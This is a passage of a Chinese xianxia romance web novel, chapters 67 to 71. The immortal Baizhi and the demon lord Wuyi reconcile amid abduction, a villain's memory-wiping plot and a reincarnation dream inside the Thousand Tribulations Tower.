白芷离他很近,立即用神识查探他的伤势,发现心脉微弱,皮肤泛着冷意,正是风雪寂所造成。
她不由瞳孔微缩:“难道,方才比武台上是你……”
他断断续续地道:“今日,我若无法离开,我只有一个心愿,求你……带上这只笛子。”
她眼眶微红,咬牙道:“自作多情。”
他想要抓紧白芷的手,白芷后退一步避开。
可到了这个时候,白芷也无法去责怪他,她满心混乱,一手握住紫纹笛,沉默在原地。
她虽讨厌无奕,却并不想他死在这里。
更何况他方才默默对自己出手相助,将风雪寂的伤害转移到自己身上,她不想欠他……
指尖微颤,她是在害怕吗?为什么会害怕,不,她不该害怕,应该巴不得他死啊。
场面剑拔弩张,破空的兵刃声凌空响起。
白芷转过头,看到千里飞出一道黑刃,赤地陡然现身,疾步而来,碧岚宫弟子紧随其后。
“宫主,属下来迟了!”
场面更加混乱起来,修盟和万法带领的两队人马纷纷悔恨不已,碧岚宫赶到,想拿下无奕就没这么简单了。
白芷见状,心中竟松了一口气,宫众赶到,他已经性命无忧,至少不会死在这里了。
双方就要开战,万法催促她离开:“白芷,快过来,小心有诈。”
白芷点了点头,正准备离开,谁知她与无奕身位太近,她的手已被他紧紧握住。
他一用力,将她拉至自己面前。
她有些猝不及防,眼前只剩这双锋利的眉眼,恍然间和记忆中的样子重叠。
不对,白芷见他双目深邃,正带笑意看着自己,哪里像是要死的样子?
她当下挣脱将他推离,嘶声道:“无奕,你敢骗我?”
只恨自己被他苦肉计蒙蔽,竟然没有察觉他在撒谎!
他一身修为深不可测,怎么可能因为这点小伤就被困住?
待到发觉为时已晚,无奕握紧她的手不松开,顺势一拉,她被拦腰抱起。
修盟弟子想要上前阻拦,却被碧岚宫魔修击退,清虚天弟子施法也被千里攻破。
万法尊首咬牙切齿的下令:“不准让他逃了!”
好不容易见到仇敌,绝不能错失良机,孙昭忙突破重围,一剑刺了上去。
刚要出招,只见无奕抱起了白芷,举止亲密,孙昭愣住了。
白芷的身影和天香渐渐重叠。
如果说,之前她只是怀疑白芷就是天香,现在就是百分百确定。
孙昭自嘲一笑,心下唏嘘。
她亲手毁掉天璇宗,为什么又要重建?那她之前,亲自教授白芷《阴水录》又算什么?
难道说,她又被骗了,当年天璇宗上也是,现在也是,自己几百年来依旧毫无长进……
短暂的失神让她错失良机,碧岚宫弟子围上来,她再脱不开身。
赤地、千里带领众弟子破开宫主的包围,却并不恋战,边打边退,待敌人全部清除,所有人也成功聚集一处。
无奕取回昆仑雪,带着白芷,低声吩咐众弟子:“回碧岚宫。”
68. 第 68 章
无奕仰头看了一眼灰蒙蒙的天,几点苍云,遮蔽了太阳,心里不由得恍然。
方才天剑门上,他远远的站在屋檐上时,又想起了碧岚宫那日。
他说,天璇宗再也回不去了,她却说会永远陪着他。但念头一闪,就是紫胜岛上她冷漠而疏离的眼神。
世间辗转,早晚有重逢之日。
她说不会再见,本以为再无相见之日,所以他所以连魔君位子都放弃了,只想逃离这一片纷扰。
但回忆哪有那么容易忘却,三番五次想施法去除,却又下不了手。
就算他在抱元谷日日夜夜同自己说一千遍一万遍,再不会想起她,要将她永远忘了,也还是念念不忘,刻骨铭心。
就算他再不想承认,再不想对面,许多记忆仍如潮水,快要将人淹没窒息。
方才他替她挡下那招,本想独自离开,不再去打扰她的事情,谁知事态发展出乎他预料,竟还是不小心暴露了身份。
好在他第一时间传令了碧岚宫,从一开始就是拖延之术,只等宫众赶到他就离开。
可她竟然收下了那只笛子。
本以为她会拒绝,往昔分别,哪怕再度重逢,也如水过无痕,不会留下什么踪迹。
白芷收下那只笛子的一刻,他就诞生出一种隐秘的想法,绝不能放手,不能再让她离开自己身边。
哪怕失去所有一切,他也要留住她。
……
魔界,碧岚宫。
无奕吩咐其余宫众各自归位,独自带着白芷径直回到以前的居所。
她压根没反应过来,已经被无奕抱着,施法带到了碧岚宫。
他单手推开门,白芷见眼前的房间布局熟悉,空间极大,收拾的干干净净。
这竟然是她以前住的地方,她心中本有些感动,但想到这是他骗自己的计谋,就快气的七窍生烟。
可恨他竟然假借自己受伤骗取她同情,实则是为了将她抓回来。
无奕柔声:“这里是你以前住的地方,我一直命人打扫干净等你回来。”
见白芷气愤的模样,无奕有些后悔用法力逼迫于她,到碧岚宫后,他便稍松开手,直至进到房内后彻底松开,放她下来。
她从他怀中挣脱出来,一想到他又在欺骗自己,心头火起,伸手就朝着他掷去一个花瓶。
白芷愤愤指着他,质问方才的事情:“好啊,原来你一直是装的!”
他没有躲,生生让花瓶砸在额角,留下一丝血痕。
低头是碎成满地的瓷片,瓶中插着碧花,香气又钻入鼻息中来,那股熟悉的味道,带起噩梦般的回忆。
白芷更加难平怒意。
她如今境界早已不同往昔,不是什么任由他摆布的小花妖。
她回归仙族,是清虚天的天极,无奕居然如此戏耍于她,简直是她奇耻大辱!
无奕见她摔来一个瓷瓶,忙上前径直摸了摸她的手。
她一双素手被碎瓷片割出几道伤痕,加上方才比武受的伤,还没来得及治愈,白皙的皮肤挂上几丝殷红。
他忙替她治愈,竟松了口气道:“还好,只是点小伤。”
白芷再度挣脱他:“别动手动脚的,离我远点!”
见他又要过来,她实在不想和他接触,咬牙施法,拉开身位,顺势屈起手指,射出几道白芒阻止他继续前进。
可在她翻手捏决之时,无奕见招拆招,仅是一瞬间的空隙,他已经扣住她手腕,又将她拉近身来。
无奕低声道:“对不起,阿芷,你先听我说。我以为再也见不到你了,在碧岚宫中呆着也是无趣,这才隐居抱元谷,谁知你又来到了我的身边......”
他实在无奈,如果一直这样下去,恐怕找不到说话的时机,只能先将她禁锢在自己怀里。
她手腕命门被扣住,无奈受制于他,只能听他自顾自说。
他们近在咫尺,他语调温柔,她却蹙起眉头,浑身戒备,随时准备着运气将他击退。
他叹了口气,继续道:“你来到我身边后,我就不想再离开你了,蓬山大会那些魔修不是我带去的,实则另有其人,我去参加大会也是为了调查一件事,不料身份暴露......”
话里话外,无非就是辩解破坏蓬山大会魔修并非他派出。
她被他骗了那么多次,如今还会再信他吗?简直荒唐。
“你给我闭嘴,事到如今,还想骗我?”无奕见她挣扎,不忍弄伤她,手微微一松。
白芷果然找到破绽,伸手便弹射出一道白光,却再度被他化解。
无奕丝毫不恼怒,仍是耐心道:“我没有骗你,这几日与你呆在天璇宗上,我才明白......阿芷,我心里放不下的始终只有你。”
“放不下我什么?你有关注过我的感受吗?”白芷不听这句也便罢了,听了更气。
她越说越激动,气的没顺过气,咳嗽起来,两颊也微红。
以前他只信自己眼前看到的,如今他只想强行将她留下,和以前并没有本质区别。
无奕被她反应吓了一跳,忙上前帮她顺背。
白芷一手捏诀控制住他左手,一个利落旋身便挣脱开他,趁他没有反应过来,再迅速一掌将他推开。
无奕捂住胸口望着她,被她击退。
白芷轻咳两声,就要离开房间,转头冷冷道:“你再敢拦我,我就不客气了。”
如今她境界不同以往,那种任人摆布的情况绝不会再出现。
若无奕以为还能将她玩弄于鼓掌之中,那就太小看她了,只怕他没那个本事!
无奕怔了怔,不死心,仍要继续上前阻拦。
白芷忽然转身施法,眼中锐光一闪。
空中凝聚出一道实体白光,寒芒闪过,毫不犹豫将他下腹到胸门处割了长长一道伤痕出来,最深处有一寸。
此招她只是做防备,没想到他丝毫未躲,竟生生受下,白芷看着心下一惊,又忽然生出一股愧疚。
她不敢再看他眼,强装镇定的立即转身:“魔君大人,先养你自己的伤吧。”
他神情错愕的看着白芷,不敢相信她会直接下手,白芷神色冷漠,推开门头也不回的走了。
白芷向外走了没几步,本以为能够直接回仙界,他还是跟了上来,这点伤当然阻拦不了无奕。
无奕继续追问:“阿芷,别走。你到底要怎么才肯原谅我?”
“我只要你离开我。”见他如此执着,她神色一黯,仍是头也不回。
白芷叹一口气,觉得他替自己挡伤,方才她又伤了他,有些过意不过,便继续解释道。
“我下界是为因果而来,绝不是什么特地寻你。而你破坏了蓬山大会,我解除因果无望,此刻便要回仙界去了,我们也别再纠缠了。”
以前的事情都过去了,她不愿再回忆起,只当做了一场梦,而梦境的主角不是自己。
如今梦醒,他们也该各自放下,去做自己该做的。
无奕低声:“我明白了,我打搅了你精心准备的蓬山大会,那你收下这颗魔珠,服用后可轻易突破两个大境界,再也不需要担忧因果债的问题。”
白芷惊讶的目光中,无奕运气将自己的本体魔珠凝聚为实体,放在掌心,伸手便要递给她。
她大惊失色。
这魔珠是无奕毕生境界所在,寻常修士是无法将修为实体化的,但他本是上古魔道陨落遗留的魔珠化形,所以凝聚这颗珠子取出身体也不是什么难事。
但即便他境界
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深厚,将魔珠凝聚在体外也是十分危险的行为。
仅是片刻,他额间已经有出汗的症状,他胸前方才被白芷划破的伤口还未来得及拿法术治愈,此时已经开始出现恶化泛红。
“你在干什么傻事?!”白芷慌忙推开他,当然不敢接下他的魔珠。
无奕认真的看着她:“阿芷,我助你突破修为境界,你还像以前那般陪着我,好吗?”
“你疯了!”白芷看着他一副失魂落魄神情,心中一疼。
无奕无动于衷:“只要你能原谅我,我什么都愿意做。阿芷,我只想以后还能看见你。我不会瞻前顾后,想干什么就会去做。”
“你都踏破开天境了,怎么还看不破,做这般冒险的事情?我们得缘分已经尽了,为什么还要强求?!”
白芷伸手推开,无奕却执着将魔珠放入她手中,挣扎之时,魔珠被打落在一旁,缓慢地滚到了远处。
这下他的魔珠彻底离体,脸色很快差下去几分,胸前伤口甚至散发出恶臭。
无奕发现她径自离去,看也不看魔珠一眼,不由得神色凄然,声音低落:“……你执意要走吗?”
他将魔珠凝出,容颜显几分苍白,白芷虽然恨无奕,但眼睁睁看着他做这种危险到要丧命的事情,也狠不下心。
白芷去而复返,叹息了一声,想要拉起他的手。
“阿芷,不要走!”他又抱了上来。
白芷微微一怔,没有避开。这个拥抱这样赤城,又十分温柔,叫人恍然回到方面。
“......放开我。”其实她也不知道,自己为什么开口便声音哽咽了。
她早就和自己说过千百遍,不会再回到过去的,心痛的无法遏制。
他只是手臂越收越紧,轻轻蹭她耳后。
她浑身颤抖,觉得有什么在胸口滞住,快要窒息。
半晌,白芷发觉不能这样僵持下去,叹气道:“你先放开我,我去捡起魔珠。”
他这才松开怀抱,白芷捡起魔珠,拉过他的手掌,将魔珠放在他手里,珠子一入掌心便没入其内,消失无影无踪。
魔珠归体,无奕依然没有恢复伤口的心思,目光一瞬不瞬地直直看她。
既然是修境之人,难免会遭遇劫难,对过去耿耿于怀的话,去除不掉的杂念就会阻止修行。
她受因果困扰,费尽心思重建天璇宗,只差最后一步蓬山大会,如今也毁于一旦,既然任务失败了,因果也无法去除。
白芷望着他,又低垂下眼:“我的境界一事,已经无可挽回,蓬山大会被搅乱,因果债也将无法消除,此事已成定局,绝不要你舍身将魔珠渡我。”
顿了顿,她又继续道:“……其实,我收下你的笛子,又何尝不是看不破过去呢?”
原来归根结底,她心中也放不下那段感情。
无奕望着她道:“你愿意留下来吗?”
白芷转过身去,缓缓摇头:“不,我要回仙界去,还有没有做完的事。”
他神情又低落下去,只能沉默不语。
连魔珠都无法留下她,看来白芷是真的去意已决。
或许再也没有什么办法能够挽回她,怎么努力都只是缘木求鱼。
他们之间的回忆就像那只摔碎的花瓶,每隔一段时间总能在角落里找出新的残片。
他们也再回不到从前,这也怨不得谁,是他亲手把她推开的,无奕感到一股颓然。
事到如今再阻拦也是无用,白芷布阵便要离开。
而她神色黯然,只觉自己愧对金仙,愧对清虚天,无法彻底和过去断绝割舍。
既然如此,她也无法再继续任天极一职。
所以,她此次回仙界,只为一件事,就是辞去清虚天极之位。
69. 第 69 章
蓬山大会突生变故,她在天剑门上被无奕掳去。
万法尊首还不知她的安危,先要和众人汇报一声自己安全,再和金仙讨论辞去天极职位一事。
她施法来到清虚天,抬眼,见穹顶结界依旧浮现着流光,十分稳固。
白芷露出欣慰的笑,如今仙界局势稳定,她既然常年不在清虚天,难免尸位素餐,这个位子就应该给其他人。
她见境天内仙家弟子正在修行,却不见万法和金仙身影,便又垂首等着,过了两刻钟,抬眼还是只见一众弟子。
无奈,她准备先行回心境宫。
此事也不急,等金仙出现了再议不迟。她转身便要离开,万法的身影忽然由虚无化实体,拦在她面前。
他见她安然无恙,似是松了一口气:“我正准备带领弟子去碧岚宫将你救回,你却出现在这里,离开时他可有为难?”
白芷惊讶抬眼,露出一抹笑意,先行了一礼。而后摇了摇头:“回尊首,他没有为难我。”
“嗯。”他似乎一幅欲言又止的样子,像有什么事情想说。
白芷思索片刻,既然金仙寻不到人,和尊首提辞去天极一事也是可以的。
于是一阵沉默后,她先开口:“尊首,我有一事......”
他却温柔的打断:“我明白,虽然蓬山大会失败了,因果没能去除,但是我可以替你寻找其他方法破境,此事不必太过担忧。”
他上前轻抚她后背,静静望着她,眼眸让人安心。
白芷垂下眼,轻声道:“没关系,因果去除不了,是我道心不够坚定,强求不得。”
她想说的事情并不是这个,万法尊首对她很好,可惜她无法再报答他的情谊,这便要辞去天极离开清虚天。
万法眼中流露出一丝惊讶,即刻欣喜的笑道:“莫非,你是放下因果债一事了吗?也好,从今以后就呆在清虚天,与我在一起,我会护你周全。”
他直直的望着她,白芷却回避了他炽热的目光。
她撇开眼又道:“非也,以前我错了,以为自己能放下,实则不然……如今清虚天已经安定,仙魔也暂时休战,观尘未能破除因果,不配再任天极一位,请愿辞去!”
听到“辞去”两个字,万法一愣,二人之间的气氛瞬间凝固。
万法的眸色深下去几分,劝阻道:“无妨,天极一位暂时也没有其他合适人选,倒不必如此......”
白芷愣住,有些不解的抬头望着他。
她并非境界出众之辈,又常年流连在人间无法照拂清虚天,分明已经不宜受任天极之位,不知尊首为何还要出言挽留于她。
可她早已下定决心,白芷仍是继续道:“我已无心再担任天极一位,请尊首成全。”
万法闭了闭眼,再睁开时,眼中深不见底。
“......你执意如此吗?”
白芷毫不犹豫点了点头:“是,尊首。”
万法身体一僵,片刻后,又忽然回复笑意,只是她从未见过他这般深沉的眼神,好像不是他一般。
“好。”他眸色沉沉,静静望着她,挥手间,二人已经出现在他的心境宫内。
天旋地转间,她还没有反应过来,只见自己出现在那座熟悉的琉璃桥上,其下流水潺潺。
白芷愣了楞大惊:“尊首,这是......”
万法没有答复,眸色深沉,一瞬不瞬盯着她的脸。
半晌,他声音柔和似哄诱:“你这么着急辞去天极一位,离开清虚天是为何?”
他们之间的气氛开始变得极其微妙,她又说不上来,似乎和上一次万法带着她来心境宫时一样。
白芷害怕的后退半步:“为什么执着这个问题?”
他深沉的望着她,眸中又露出一丝笑意。
万法似笑非笑:“你既然境界已经止步不前,修炼也是无用,却要突然辞去天极之位。”
他盯着她,缓缓继续说:“是不是为了去碧岚宫找无奕?”
白芷冷汗涔涔,说是大惊失色也不为过。
她确实收下了紫纹笛,可从没有想要回去:“我怎会,怎会跑去和魔族沆瀣一气?”
万法翻手捏诀,白芷怀中顿时飞出一只紫纹笛,悬浮于半空。
“那这是什么?定情信物?”他眼中复杂。
白芷被激的心头一颤,强自镇定,肃然道:“......请尊首相信我,观尘绝没有叛入魔族之意。”
他连忙压下怒意,努力让眼神不那么愤怒,越发笑的温柔可亲,眸子却透露着冰冷。
万法上前一步,捏住她下巴:“是吗?无奕掳你去碧岚宫,又无故将你放回。凭你的本事如何从他手中逃脱?谁知道你们二人发生了什么床笫之私。”
她一手拂开他,不可置信的望着他,觉得自己心跳加快,眼中瞬间燃起了怒意。
“你说什么?!”她几乎说不出话来。
“我能离开是因为他不想强留我,岂是你口中的,中的床笫之私......”她简直怒不可遏,实在觉得羞耻,咬牙才说出“床笫”两个字。
万法怒极反笑,撤去法术,紫纹笛没了法术支持,从半空中坠落。
玉笛脆弱,白芷忙伸手去接住笛子,他低头俯视她接取笛子小心翼翼的模样,眼中越发透露出厌恶。
他眼中似涌现看不清的偏执:“你以为我会信?他千方百计想得到你,你也是,他刺了你一剑,你竟然转头便回去找他,叫我说你什么好。”
既然他努力再多也是无用,她心里永远只有无奕,他的白泽可绝不会这样,如何让她变成白泽呢?
这个女人不识好歹,无论如何都忘不掉无奕。
只有把她丢到洗髓池里,将记忆全部洗去,只剩下她和自己的部分,这样她眼里就不会再有别人了。
“关你什么事,你放开我!”她怒吼而出。
“呵,既然你放不下他,我逼你放下。”万法冰冷一笑,挥手施法。
白芷瞬间感到一阵药香氤氲,头很沉,意识离她远去,明明还被衍决关在境宫里,却好像来到一个陌生的地方。
神识抽离,似有人轻柔抚她额头,迷蒙中看不清楚周围的景物,渐渐想睁开眼睛都做不到了。
眼前人的笑容似乎温柔非常,和记忆中另一个梦魇重叠在一起,衍决轻轻摩挲过她的脸颊,下巴,指尖流连,似是不忍离去……
万法已经卸下伪装,露出衍决面孔。
白芷扶着
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额,头痛欲裂看着他,只觉得晴天霹雳也不为过。
“你......你是衍决?!”
她不知自己中了什么法术,觉得胸口闷痛,眼前又是发黑,便缓缓扶助桥栏,喘息几次,方才好受些。
“原来你,一直没死......还埋伏在仙族。你到底想干什么……”
衍决微笑上前,施法封印住她的灵脉,不由分说拉起她的手,片刻间二人就出现在洗髓池前。
“我想干什么,你很快就知道了。”
白芷不知他是如何活下来,又是如何骗过仙界众人摇身一变成为万法尊首的。
可她心知道此刻危机,她的灵力被封,断不能着了衍决的道。
她头痛欲裂,想到唯一一个办法——千劫塔。
这是仙界一处十分凶险的历劫处,里面幻象逼真,仿佛容纳所有人间所遇,考验的正是世间所有爱憎怨怒,只要能从中离开,浑身灵脉就会像被洗过一般,脱胎换骨。
此处原本是为仙界犯下大错的弟子关押之处,她先前放跑了无奕,本该受罚,却因为金仙网开一面没有来到这里,但如今已无路可走。
她既然灵力被封,无法解开衍决的封印,又绝对不能落入他的手中洗去所有记忆,沦为他一个人的傀儡。
若是能从塔中历劫归来,莫说她身上的封印,就是先前留下的因果也会一并去除。不但如此,她还会从头到脚历劫重生,修为突破一个大境界不止。
如果不幸死在塔内,她也别无牵挂,想到这里时,她无意识攥紧了那只紫纹笛。
她别无选择,只能冒险去千劫塔一试。
她现在虽然灵力被封无法施法离开,紫纹笛内却还有少量灵力可供她调动。
衍决见她奋力挣脱开自己手,趁机借着紫纹笛内储存的一丝灵力施展阵法,瞬间遁去。
他冷笑道:“你还要挣扎?跑不掉的。”
他追了出去,看到眼前一慕却瞬间心神大震。
他虽然想洗去白芷的记忆,让她全身心只爱慕自己,却不想她进入千劫塔丧命。
断然不能让她去寻死,他即刻追过去,千里传音唤道:“你!不要再往前了,千劫塔内很危险,快回来!”
白芷怎么可能回头,她已经停在千劫塔门口,塔内狂风骤雨,电闪雷鸣,风声在耳畔呼啸而过。
衍决一路追来,很快就发现她的身影,就要上前捉住她,白芷头也不回的往千劫塔里走去。
他彻底慌了,若是白芷肉身陨落,从此复活白泽无望,他千年寻找的唯一希望就此破灭。
他在洞外传音喊道:“不要再往前了,你会死的!洗髓池顶多只是洗去那些不必要的记忆,你还是清虚天极,仙族高手!”
然而,衍决叫得越是大声,白芷脚步越快,竟是无视骤雨拍打脸庞,不顾一切阻碍,奋力前行。
到最后,狂风暴雨将白芷的身影彻底淹没。
白芷不知自己跑了多久,行至深处,千劫塔内洞中忽然发出一道白光,笼罩住她。
白光消失时,白芷已经在他视线中消失,不见人影,洞中黑漆漆的,似乎深不见底。
“不,阿泽!”衍决大惊失色,不由嘶声大喊,声音几乎都要破碎。
70. 第 70 章
白芷进入洞中,只见白芒散去后,四周陷入一片漆黑。
她在洞中慢慢摸索向前,四周的电闪雷鸣早已消失不见,只剩一片寂静,不知走了多久,她面前出现一条闪烁点点星光的暗紫色长河。
长河远的望不到边,天上却没有一个星子,仿佛全部坠落到了河里。
河中央一位船夫一下一下划着船桨,行驶着船只,往河畔靠来。
白芷走上前,觉得这片暗色长河十分妖异,附身想捧起一抔河水,却发现捧不起来,她的手掌呈现半透明状,直接穿过了河流。
这是怎么回事?
她眨了眨眼,船夫已经驶着小船靠岸,向她发出邀请:“渡河人,上船吧。”
四周一片漆黑,唯有眼前这一条暗紫色散发光亮的长河,眼前场景和记忆中一处十分相似。
白芷一边提起裙摆,轻踩上船只,船夫挥动沉重的木浆,船悠悠向对岸驶去。
她揉了揉眼睛,看向对岸,迷雾中,一座高耸入天际的黑色大门突兀的出现。
大门上密密麻麻镌刻着往生咒,门口还站着两只看门小妖,靠着手中长棍,打着呼噜,睡的东倒西歪。
彼时,船已经靠岸。
白芷踏上对岸,船夫高声呵斥惊醒两名守卫,小妖忙推开那座沉重的黑色大门。
白芷望着里面熟悉的光景,喃喃道:“我这是,到了轮回司......”
难道说,仙界的千劫塔是轮回司的另一个入口吗?
很快她就想明白了,这么干也有道理,毕竟轮回转世也是脱胎换骨的一种途径,说不定千劫塔就是送人来转世的。
白芷一边想着,一边被两个鬼差迎接进去,四周鬼影重重,无数魂魄互相拥挤着要上奈何桥。
桥的远处立着孟婆,伸出枯瘦的手递给路过魂魄一碗浑浊的汤。
只要从这里过去,喝下孟婆汤,就算了却前世恩怨,从此投入轮回。
身后一人推搡:“走快些。”
白芷回望,忽然感到一丝熟悉,这人不是天璇宗的小弟子吗?!她记得很清楚,他就是当初与她一同守丹炉的弟子。
“你,你是天璇宗的?”白芷惊呼问出口。
那人看着她,却摆摆手:“你怎么知道,哎呀前尘往事,别再提了,饮了孟婆汤入轮回吧。”
白芷正陷入迷茫,有一个苍老的声音从背后响起:“姑娘,你看这河里的星星,正是一只只冤魂,都是想入轮回但寻不到归路的。他们根本不知道自己身在何方,在星河里会产生幻觉。他们可以看到任何期望的事,心有执念,所以不得入轮回。”
“他们只顾着沉迷于幻觉,根本顾不上自己的灵魂火焰越来越淡,直到化为虚无,彻底融入星河。”
白芷幡然醒悟:“老婆婆,我也是正在入轮回的冤魂吗?”
孟婆笑着道:“自然,你侥幸在天璇宗上活下来,跟随无奕回到碧岚宫,却因被他误解而丢了性命,魂魄就来到了这轮回司。”
“看,这些魂魄你都认识,都是死在天璇宗上的修者,他们也是冤魂,在星河中逡巡许久,终于迷途知返,这才上了奈何桥,准备投入轮回。”
白芷顺势望去,发现身后形形色色的魂魄,夹杂几位天璇宗的熟悉面孔,甚至还见到了云天真人和嵩山道长。
她心神恍惚:“......我在河上漂浮了多少年。”
孟婆缓缓道:“你呀,有足足两百年了。”
两百年,也就是说从她被无奕杀死后,经历的全部事情,都不过是星河中的一场幻梦。
她还是那只手无缚鸡之力的小花妖,只不过因为在梦中进入千劫塔,这才偶然寻得了入轮回的路。
原来,他早就死在了碧岚宫,她在清虚天和天剑门经历的一切,都是假的……
白芷喃喃低语:“不,不可能......我分明已经回归仙体,化身清虚天极,这一切怎么可能是假的?”
孟婆无奈的摇摇头,招来两个鬼差,鬼差施法在星河中幻化出一小面镜子。
镜中无奕正在碧岚宫寻欢作乐,身旁几个女妖姬声音酥麻,媚骨天成,纷纷往他怀里扑。
镜中又有嬉笑声传来:“君上,我这支舞跳的可好?”
他留恋百花丛中,哪里还记得自己?
白芷不敢相信的看着那面幻镜,双手微微颤抖覆住面庞,又颓然的跪下,只觉心痛不已。
“竟然是真的……”
孟婆早就习以为常,挥手让鬼差下去。
或许是她死在无奕手上,心中怀着怨恨,这才困于星河幻镜中流连忘返不愿醒来吧。
这片星河幻镜实在迷惑人,她心有不甘,无奕便顺势在幻觉中变成了,愿意为她做任何事的温柔男子,企图将她重新带回碧岚宫。
这些竟然都是幻觉,她失魂落魄的笑了一声。
现在无奕一个人当魔君多么快活,她却是轮回司里一缕孤魂野鬼,实在可笑。
孟婆将汤药端给她:“姑娘既然已经看破,就安心去吧。”
白芷自顾自笑了笑:“罢了......”
她从怀中摸出那只紫纹笛,感叹自己执念深重,竟然连这只笛子都化作了实体,陪着她走轮回路。
不知怎的,虽然已经知道是假的,她还是有些舍不得这只笛子。
端详片刻,只得重新放入怀中。既然已经决定要投入轮回,就算带着它也没什么大碍吧。
反正一切不过是虚妄,这只笛子也会在轮回路中消散。
她将孟婆汤一饮而尽,踏上去路。
......
这一世,她名燕芷,出生商贾世家。
她是家中长女,幼弟十五岁便考上秀才,三年后中举会试,从此仕途顺利,年纪轻轻就当了朝中高官。
她家的产业也在幼弟照拂下打通脉络,生意愈发兴旺。
她生来也是顺从父母的温和性子,自幼和另一位少爷定了娃娃亲,二人也算门当户对。
可惜好景不长,待到她快出阁的日子,那未婚夫君竟忽然间病死了。
这事情在城中迅速传开,流言四起。
有人说燕家长女娶不得,生来克夫相,燕芷无奈,也不准备再嫁,索性就包揽下家族中的客栈生意,一人经营起来。
一年后,她凭借一己之力将客栈经营的风生水起。
燕家财力雄厚,她又有个做高官的弟弟,什么谣言都不攻自破,城中想要求娶她的名门显贵都快踏破门槛。
这天,有一位远近闻名的小官找上门来,燕芷本不想见他,无奈在父母的催促下只得出去应付。
那人身材微胖,一双眼
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睛笑眯眯的,待人和蔼可亲,刚见面就送来了不少聘礼。
母亲劝说“他虽然只是个小官,却对百姓很好,是个声誉在外的清官,嫁给他必不会亏待了你。”
父亲也苦口婆心:“他不嫌弃你之前的谣言,还愿意娶你为正房,已是难得。”
燕芷拗不过父母,最终只得答应下来。
既已说定,两家人便选了个良辰吉日。
那日,她盖着红盖头,静静的坐在屋内等待着夫君入门。
屋外唢呐声此起彼伏,窗外隐约可见堂前觥筹交错,还有不少喝好声,连她那许久未见的弟弟也出现在厅堂恭贺她新婚。
这是一门好婚事,宾客云集,燕家算是长足了面子。
她低垂下眼,坐在塌上,总觉得自己忘了什么重要的东西,又无论如何都想不起来。
正暗自出神,忽然听一声破窗之声。
她的盖头被人一掀,一个陌生男子出现在她房内,燕芷吓了一跳,倒吸口凉气:“无礼之徒,你是谁?!”
这里可是闺房,她是燕家待出阁的新娘,谁这么大胆敢闯进来?
无奕轻笑一声,指着自己胸口那道伤痕:“你方才把我伤成这样,这就把我忘了?”
她凝视他胸前那道伤口,怵目惊心,确实挺深,看着挺疼。
可是……眼前男子怎么直接将胸前衣襟敞开给她,太不知羞耻。
燕芷收回目光,脸庞微微泛红。
心中又是来气,觉得莫名其妙,她根本不认识他:“不知所谓!我女儿家家,根本不会功夫,又如何伤你?”
今天可是她大喜的日子,岂能被眼前人随便打搅?
屋外锣鼓喧天,眼看喧闹声越来越近,看来是要入洞房迎新娘了,她一把推开他:“让开,再不走我就喊人了!”
她是未出阁的女子,怎可和陌生男人如此亲近?
再说,今日来宾众多,若是被家中长辈瞧见,只怕燕家的脸都要被她丢干净了!
可他根本没有走的意思,她又推不动他丝毫。
燕芷有些害怕的后退,居然顺势就跌倒在身后喜床上。
大红色的被褥也被压在身下,满目皆是垂落下来的绫罗红缎。
不知为何,她心中对眼前人莫名的惧怕,但又觉得他不会真伤了自己。
头又痛起来,难道她真的忘记了什么重要的事?
无奕欺身上前,眸色深沉,将她压在身下,望着她些许慌张的眸子。
她抬头,吓得沁出些眼泪来,却见他喉结一动,她感到自己耳根更热。
她哭着喊:“你这个登徒子……来人啊——!”
无奕轻叹一声,一边制住她挣扎的手,一边捂住她的嘴。
他低声道:“我的阿芷,这么绝情,真要嫁给别人?”
她眼中含泪花,就这么望进他那双眼。
仔细看时,只觉得其中无限深情。这人是谁?哪怕是她的父母,亦不曾有这样深情地注视于她。
难道,她曾经见过他?
耳畔他的声音也无比熟悉,她却怎么都想不起来,只觉得胸口心跳加速,呼之欲出。
只是片刻愣神,她连一身大红喜服都没换,已经被他不由分说打横抱起,被带着从窗外跳了出去。
被褥上只剩一块红盖头。
71. 第 71 章
无奕抱着她一路朝着城外跑,她只觉得两边风景飞速向身后略去。
燕芷心中害怕,搂着他的脖子愈发紧。
风吹开她的发丝,头上金钗险些被摇的晃下来,这么近,可闻见他身上的冷香。
“放我下来,你怎么……怎么如此大胆!”
她震惊之余,探头回望着自己的家。
她的父母,她的未婚夫,她的弟弟,一切人物都随着那座家宅一同模糊,像是一幅褪色的画卷。
“怎么回事,新娘呢?!”
“芷儿,芷儿——!”
众人的呼喊随风远去,只听闻一道“轰隆”巨响。
她脑海中嗡嗡的,如梦初醒。
空中一道雷劫闪过,她心神大震,这才全部想了起来。
原来她叫白芷,乃是仙族弟子,是被衍决逼迫着进了千劫塔,这才坠入轮回梦境。
方才是无奕救了她,那这里又是哪儿?
她错愕的看着四周,不知何时已经乌云密布,方才的喜堂哪里还在?
一切都消失不见,只剩漆黑。
无奕一直抱着她,这才把她放下来。
白芷担心的看着他:“你怎么进来了,这里可是千劫塔。”
他好似完全不在乎的样子,只是一直看着她。
无奕盯着她的脸庞,微微一笑:“阿芷,你穿喜服的样子很美。”
“这都什么时候了”她心里又是甜蜜又是焦急。
天上聚集的雷劫越来越多,只怕再这样下去,她就要扛不住身陨此地了。
“这雷劫,恐怕凶多吉少......对了,你是怎么找到我的?”白芷眨眨眼看向他。
无奕垂下长长的眼睫:“自然是因为,你没有丢了这只笛子。”
白芷拿出那只笛子,施法探究其中,惊讶道:“你在里面寄宿了一缕神识?那衍决的事情,你也知道了?”
他点了点头:“我在蓬山大会上就知道了。”
这么说,蓬山大会真的不是他作祟,是她错怪了他。
轰!
雷劫再度聚集,似乎在提醒他们时间不多了。白芷望着天空:“我们......”
无奕长眸微垂,眼中满是温柔之色,静静听着她说。
白芷轻声道:“我们似乎,很久没有好好说说话了。”
他只是无声的看着她,平日里显得冷淡的长眸此刻无比温柔。
无奕注视着她,温声道:“是啊,游奕陵也好,无奕也罢,我喜欢的都是你,始终没有变过。”
天上雷劫聚集,他们周围都是电闪雷鸣。
半晌,他又靠近道:“阿芷,你原谅我了吗?”
白芷望着他,忍不住轻轻抚摸他的脸庞,她将头靠近他怀里:“都在千劫塔里头了,还说什么原谅不原谅的。”
“你肯原谅我了吗?”他抱上来,继续追问。
白芷眸中带着甜蜜的情动气息,笑道:“原谅你了。”
话未说完,他忽然倾身,深深吻住她嘴唇,唇齿交缠,竟似掠夺一般。她被他紧紧搂在怀里,情潮涌动。
仅是一瞬间,再睁开眼,电闪雷鸣间,一片漆黑中,只剩她一人。
“无奕——!”
她茫然的看向四周,没有任何回应,怎么回事,难道方才的也是幻象?
